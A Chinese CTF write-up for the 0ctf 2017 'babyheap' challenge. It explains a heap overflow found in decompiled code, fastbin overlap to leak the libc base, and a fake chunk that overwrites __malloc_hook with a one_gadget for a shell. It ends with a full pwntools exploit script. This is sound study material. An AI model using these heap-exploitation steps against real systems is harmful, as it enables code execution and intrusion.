分析利用:
无壳,IDA打开后可以看出题目是基本的增删与展示(函数名为方便阅读而修改)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| __int64 __fastcall main(__int64 a1, char **a2, char **a3) { char *v4; // [rsp+8h] [rbp-8h]
v4 = initMmapList(); while ( 1 ) { Menu(); switch ( getInput() ) { case 1LL: Allocate(v4); break; case 2LL: Fill(v4); break; case 3LL: Free(v4); break; case 4LL: Dump((__int64)v4); break; case 5LL: return 0LL; default: continue; } } }
|
v4通过mmap分配了“一条链表”,但通过Allocate函数可以知道,实际的储存结构是类似chunk似的结构体:
1 2 3
| 00000000 size_t InUse 00000008 size_t Size 00000010 size_t content
|
每次Allocate都会遍历v4链表的每个InUse位,如果该位置0,就表示这个索引没有被使用,就会将该位置1,然后根据Size调用calloc,将返回值赋给content
然后可以看看Free函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| __int64 __fastcall Free(__int64 a1) { __int64 result; // rax int v2; // [rsp+1Ch] [rbp-4h]
printf("Index: "); result = getInput(); v2 = result; if ( (int)result >= 0 && (int)result <= 15 ) { result = *(unsigned int *)(24LL * (int)result + a1); if ( (_DWORD)result == 1 ) { *(_DWORD *)(24LL * v2 + a1) = 0; *(_QWORD *)(24LL * v2 + a1 + 8) = 0LL; free(*(void **)(24LL * v2 + a1 + 16)); result = 24LL * v2 + a1; *(_QWORD *)(result + 16) = 0LL; } } return result; }
|
由于free之后将指针全都清零了,所以指针复用在这里不太行
然后是Fill函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| __int64 __fastcall Fill(__int64 a1) { __int64 result; // rax int v2; // [rsp+18h] [rbp-8h] int v3; // [rsp+1Ch] [rbp-4h]
printf("Index: "); result = getInput(); v2 = result; if ( (int)result >= 0 && (int)result <= 15 ) { result = *(unsigned int *)(24LL * (int)result + a1); if ( (_DWORD)result == 1 ) { printf("Size: "); result = getInput(); v3 = result; if ( (int)result > 0 ) { printf("Content: "); result = sub_11B2(*(_QWORD *)(24LL * v2 + a1 + 16), v3); } } } return result; }
|
可以看到,该函数没有限制我们的输入,因此我们可以让content开辟过大的chunk来达成堆溢出
最后是Dump:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| int __fastcall Dump(__int64 a1) { int result; // eax int v2; // [rsp+1Ch] [rbp-4h]
printf("Index: "); result = getInput(); v2 = result; if ( result >= 0 && result <= 15 ) { result = *(_DWORD *)(24LL * result + a1); if ( result == 1 ) { puts("Content: "); sub_130F(*(_QWORD *)(24LL * v2 + a1 + 16), *(_QWORD *)(24LL * v2 + a1 + 8)); result = puts(byte_14F1); } } return result; }
|
没有什么可用点,但我们可以用来泄露地址
我们最终的目的是修改malloc_hook或者free_hook的地址为某个one_gadget
为此我们需要泄露libc基址、通过伪造fake_chunk来向hook附近通过Fill函数填充溢出覆盖
Unsorted Bin双向链表能够将表头放入fd指针,通过Dump就能够泄露出库函数地址
如下过程参考CTF-WIKI:
首先需要泄露libc基址,为此我们需要通过Unsorted Bin获取fd指针,因此需要构造指针复用的情况,将两个索引的content指针指向同一个chunk
适当开辟几个符合Fast Bin的chunk(不一定要像笔者这样,指需理解思路即可),idx4作为泄露基地址的chunk,idx 0用于通过堆溢出来复写idx 1,idx 3来复写 idx4
然后用Free函数构成Fast Bin链表 idx1—>idx2
1 2 3 4 5 6 7
| allocate(0x10) #idx 0 allocate(0x10) #idx 1 allocate(0x10) #idx 2 allocate(0x10) #idx 3 allocate(0x80) #idx 4 free(2) free(1)
|
因为每个堆都是按页对齐的,所以如果将idx 1的fd指针的最后一个字节指向0x80就会指向idx 4,由此构造出Fast Bin链 idx1—>idx 4
由于Fast Bin有chunk块大小检查,所以将idx 4的size复写为与idx 1相同来绕过检查
1 2 3 4
| payload='a'*0x10+p64(0)+p64(0x21)+p8(0x80) fill(0,payload) payload='a'*0x10+p64(0)+p64(0x21) fill(3,payload)
|
Fast Bin为LIFO,接下来再重新开辟会idx 1和idx 2,然后再将idx 4的size修改回去
1 2 3 4
| allocate(0x10) #idx 1 allocate(0x10) #idx 2 payload='a'*0x10+p64(0)+p64(0x91) fill(3,payload)
|
此时,idx 2和idx 4的content指向了同一个地址,只要我们将idx 4释放掉,该chunk就会被放入Unsorted Bin,并增加fd指针,然后再Dump出idx 2即可泄露libc基址(不过需要先开辟idx 5以放置idx 4和Top chunk合并)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| allocate(0x100) #idx 5 free(4) dump(2) p.recvuntil('Content: \n')
unsortedbin_addr=u64(p.recv(8)) print hex(unsortedbin_addr)
main_arena_offset=0x3c4b20
def offset_bin_main_arena(idx): word_bytes = context.word_size / 8 offset = 4 # lock offset += 4 # flags offset += word_bytes * 10 # offset fastbin offset += word_bytes * 2 # top,last_remainder offset += idx * 2 * word_bytes # idx offset -= word_bytes * 2 # return offset
unsortedbin_offset_main_arena = offset_bin_main_arena(0) main_arena_addr = unsortedbin_addr - unsortedbin_offset_main_arena libc_base = main_arena_addr - main_arena_offset print hex(libc_base)
|
main_arena_offset是写在每个libc中的固定值
有师傅写过获取的脚本项目:https://github.com/bash-c/main_arena_offset
unsortedbin_offset_main_arena这些值也都有固定的计算方式
因此现在已经泄露出了libc基址
然后现在将放在Unsorted Bin中的idx 4开辟回来,但我们只开辟0x70的空间,剩下的0x20将被放回Unsorted Bin,而接下来释放idx 4又将其放入Fast Bin
接下来我们使用gdb附加调试来寻找可以伪造fake_chunk的地方:
1 2 3 4 5 6
| gdb-peda$ x /10gx &__malloc_hook-6 0x7f03f6128ae0 <_IO_wide_data_0+288>:0x00000000000000000x0000000000000000 0x7f03f6128af0 <_IO_wide_data_0+304>:0x00007f03f61272600x0000000000000000 0x7f03f6128b00 <__memalign_hook>:0x00007f03f5de9ea00x00007f03f5de9a70 0x7f03f6128b10 <__malloc_hook>:0x00000000000000000x0000000000000000 0x7f03f6128b20 <main_arena>:0x00000000000000000x0000000000000000
|
(不知道是gdb还是pwndbg的原因,竟然能直接这样查看到地址……)
我们可以发现0x7f这个数字比较适合被当作fake_chunk的Size ,于是我们将这个这个fake_chunk复写到idx 4的fd指针
1 2 3 4
| fake_chunk=main_arena_addr-0x33 print hex(fake_chunk) fakechunk=p64(fake_chunk) fill(2,fakechunk)
|
然后用allocate将fake_chunk开辟回来,现在就能通过填充idx 6来溢出到malloc_hook了,然后再调用malloc即可拿到shell
1 2 3 4 5 6 7 8
| allocate(0x60) #idx 4 allocate(0x60) #idx 6
one_garget=0x4526a+libc_base payload='a'*(0x13)+p64(one_garget) fill(6,payload)
allocate(0x100)
|
但值得注意的是,这道题在于2017年的0ctf上的赛题,在当时使用 libc2.23-0ubuntu11.2版本的共享库,但时至今日,Ubuntu16已经不再使用该版本,而是使用libc2.23-0ubuntu11.3版本共享库,而buu上也使用前者版本
因此笔者使用libc2.23-0ubuntu11.3中得到的one_gadget虽然在本地拿到了shell,但在远程服务器上却只能通过一些以前的wp来获取当时版本的one_gadget,这里记一下比较常用的
1 2
| og1=[0x45216,0x4526a,0xf02a4,0xf1147] #libc2.23-0ubuntu11.3 og2=[0x45226,0x4527a,0xf0364,0xf1207] #libc2.23-0ubuntu11.2
|
完整exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101
| from pwn import * context.log_level='debug' context.os='linux' context.arch='amd64'
p=process('./babyheap_0ctf_2017') #p=remote("node4.buuoj.cn",27641) elf=ELF('./babyheap_0ctf_2017') libc=elf.libc
def cmd(x): p.sendlineafter('Command:',str(x))
def allocate(size): cmd(1) p.sendlineafter('Size:',str(size))
def fill(index,content): cmd(2) p.sendlineafter('Index:',str(index)) p.sendlineafter('Size:',str(len(content))) p.sendlineafter('Content:',content)
def free(index): cmd(3) p.sendlineafter('Index:',str(index))
def dump(index): cmd(4) p.sendlineafter("Index:",str(index))
def offset_bin_main_arena(idx): word_bytes = context.word_size / 8 offset = 4 # lock offset += 4 # flags offset += word_bytes * 10 # offset fastbin offset += word_bytes * 2 # top,last_remainder offset += idx * 2 * word_bytes # idx offset -= word_bytes * 2 # return offset
allocate(0x10) allocate(0x10) allocate(0x10) allocate(0x10) allocate(0x80)
free(2) free(1)
payload='a'*0x10+p64(0)+p64(0x21)+p8(0x80) fill(0,payload)
payload='a'*0x10+p64(0)+p64(0x21) fill(3,payload) allocate(0x10) allocate(0x10)
payload='a'*0x10+p64(0)+p64(0x91) fill(3,payload)
allocate(0x100) free(4) dump(2) p.recvuntil('Content: \n')
unsortedbin_addr=u64(p.recv(8)) print hex(unsortedbin_addr)
main_arena_offset=0x3c4b20
unsortedbin_offset_main_arena = offset_bin_main_arena(0) main_arena_addr = unsortedbin_addr - unsortedbin_offset_main_arena libc_base = main_arena_addr - main_arena_offset print hex(libc_base)
one_garget=0x4526a+libc_base
allocate(0x60) free(4)
gdb.attach(p)
fake_chunk=main_arena_addr-0x33 print hex(fake_chunk) fakechunk=p64(fake_chunk) fill(2,fakechunk)
allocate(0x60) allocate(0x60) #6
payload='a'*(0x13)+p64(one_garget) fill(6,payload) allocate(0x100)
p.interactive()
|
插画ID:91746115